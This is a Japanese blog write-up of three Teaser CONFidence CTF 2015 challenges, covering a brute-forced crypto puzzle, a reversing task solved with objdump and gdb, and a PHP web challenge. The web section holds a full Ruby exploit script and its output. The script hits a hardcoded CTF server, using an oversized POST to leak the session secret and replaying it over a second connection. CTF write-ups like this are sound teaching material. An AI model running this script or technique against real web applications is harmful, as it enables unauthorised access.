Teaser CONFidence CTF 2015 writeup
Teaser CONFidence CTF 2015に参加しました(`・ω・´)
2問解いて150ptの77位でした。 へぼい(*´ω`*)
quineは解析は終わらせていたものの、EIPを取る方法を考えている間にタイムオーバーorz
Power level (Cryptography:50pt)
総当たりで解いた(コードが汚すぎるのでsolverは不掲載←)が、平文の候補が複数あった。
"SoManySoEasy"の後が16進になるようなパターンを選んでsubmitしてみたら通った。
平文が一意に定まるための情報が足らず、ちと不親切な問題(´・ω・`)
FLAG:DrgnS{SoManySoEasyafa56ba19cfd816e3e973eafc91ab34e}
So easy (Reverse Engineering:100pt)
Cに直すとこんな感じ。
char buf[]; //0x0804b080 int main(){ char *result; puts("Please enter secret flag:"); if(scanf("%31s", buf) == 1){ /*大文字と小文字を入れ替える*/ //(コードは省略) result = "Nope.\n"; if(strcmp("dRGNs{tHISwASsOsIMPLE}, buf") == 0){ result = "Excellent Work!\n"; } printf("Result: %s\n", result); } return 0; }
簡単だー♪ と喜んだのもつかの間……
$ ./re_100_final Please enter secret flag: DrgnS{ThisWasSoSimple} Nope!
出力されるはずの"Result"が出てこない上、main
関数にない"Nope!"という文字列が出てきている。
"DrgnS{ThisWasSoSimple}"をsubmitしても通らない。
main
関数の後に何かやってるのかなー、と思いながらobjdumpの出力を眺めていると、
80485b0: 55 push ebp 80485b1: 89 e5 mov ebp,esp 80485b3: a1 a4 b0 04 08 mov eax,ds:0x804b0a4 80485b8: 83 c0 28 add eax,0x28 80485bb: c7 00 56 00 00 00 mov DWORD PTR [eax],0x56 80485c1: 5d pop ebp 80485c2: c3 ret 80485c3: 55 push ebp 80485c4: 89 e5 mov ebp,esp 80485c6: a1 a4 b0 04 08 mov eax,ds:0x804b0a4 80485cb: 83 c0 40 add eax,0x40 80485ce: c7 00 4d 00 00 00 mov DWORD PTR [eax],0x4d 80485d4: 5d pop ebp 80485d5: c3 ret 80485d6: 55 push ebp 80485d7: 89 e5 mov ebp,esp 80485d9: a1 a4 b0 04 08 mov eax,ds:0x804b0a4 80485de: 83 c0 18 add eax,0x18 80485e1: c7 00 6e 00 00 00 mov DWORD PTR [eax],0x6e 80485e7: 5d pop ebp 80485e8: c3 ret (以下略)
何やら文字列を作ってるっぽい怪しい関数を発見。
ということで、exit
関数にブレークポイントを張って0x804b0a4の指すアドレスの周辺を見てみる。
(gdb) x/30wx 0x804c000 0x804c000: 0x00000000 0x00000089 0x00000064 0x00000052 0x804c010: 0x00000047 0x0000004e 0x00000073 0x0000007b 0x804c020: 0x0000006e 0x0000004f 0x00000054 0x00000065 0x804c030: 0x00000056 0x00000045 0x0000004e 0x00000077 0x804c040: 0x00000041 0x00000052 0x0000004d 0x00000045 0x804c050: 0x00000044 0x00000075 0x00000050 0x0000007d 0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000 0x804c070: 0x00000000 0x00000000
0x00000089は見なかったことにして残りの値を文字に直すと、
"dRGNs{nOTeVENwARMEDuP}"という文字列が出てきた。
これの大文字と小文字を入れ替えたものがflag。
FLAG:DrgnS{NotEvenWarmedUp}
Practical Numerology (Web:300pt)
CTF中は解けなかったが、writeup読んで「なるほどー」って感じだったので解いてみた。
<?php function generate_secret() { $f = fopen('/dev/urandom','rb'); $secret1 = fread($f,32); $secret2 = fread($f,32); fclose($f); return sha1($secret1).sha1($secret2); } session_start(); if(!isset($_SESSION['secret'])) $_SESSION['secret'] = generate_secret(); if(!isset($_POST['guess'])) { echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL; highlight_file(__FILE__); exit; } $guess = $_POST['guess']; if($guess === $_SESSION['secret']) { $flag = require('flag.php'); exit('Lucky bastard! You won the flag! ' . $flag); } //else... echo "Wrong! '{$_SESSION['secret']}' != '"; echo htmlspecialchars($guess); echo "'"; $_SESSION['secret'] = generate_secret();
$_POST['guess'] === $_SESSION['secret']
ならフラグを出力して終了- 違う場合は
$_SESSION['secret']
と$_POST['guess']
を出力 $_SESSION['secret']
を更新
という処理を行う仕様になっている。
guess
に大きなデータを入れてPOST- サーバが
$_SESSION['secret']
と$_POST['guess']
の出力を開始するが、
$_SESSION['secret']
だけ受信 - サーバががんばって
$_POST['guess']
をせこせこ出力している間に、
別のコネクションから2.で受信した$_SESSION['secret']
をPOST
という手順で攻略できる。
RubyのNet::HTTP
だと「途中まで受信し、コネクションを残しておく」みたいなことができなさそうな気がした(未確認)ので、生HTTP書いた。
require_relative "../pwnlib" host = "134.213.136.172" key = "" t1 = Thread.new{ tube = PwnTube.open(host, 80) body = "guess=#{"a" * 500000}" payload = "" payload << "POST / HTTP/1.1\r\n" payload << "Host: #{host}\r\n" payload << "Content-Type: application/x-www-form-urlencoded\r\n" payload << "Cookie: PHPSESSID=hoge\r\n" payload << "Content-Length: #{body.length}\r\n" payload << "\r\n" payload << body + "\r\n" tube.send(payload) # $_SESSION['secret']の部分まで受信 key = tube.recv_until(/Wrong! '[0-9a-f]+'/).match(/Wrong! '([0-9a-f]+)'/).captures[0] puts "key = #{key}" } t2 = Thread.new(){ while true if key != "" PwnTube.open(host, 80){|tube| body = "guess=#{key}" payload = "" payload << "POST / HTTP/1.1\r\n" payload << "Host: #{host}\r\n" payload << "Content-Type: application/x-www-form-urlencoded\r\n" payload << "Cookie: PHPSESSID=hoge\r\n" payload << "Content-Length: #{body.length}\r\n" payload << "\r\n" payload << body + "\r\n" tube.send(payload) puts tube.recv } break end end } [t1, t2].each{|t| t.join}
$ ruby web300.rb [*] connected key = 39379cab62c5cd2e7db48d9756bf9b87f9dd7962c9b7185f2394f67f482ace9240ff4edba6969d15 [*] connected HTTP/1.1 200 OK Date: Mon, 27 Apr 2015 02:31:45 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 72 Content-Type: text/html Lucky bastard! You won the flag! DrgnS{JustThinkOutOfTheBoxSometimes...} [*] connection closed
FLAG:DrgnS{JustThinkOutOfTheBoxSometimes...}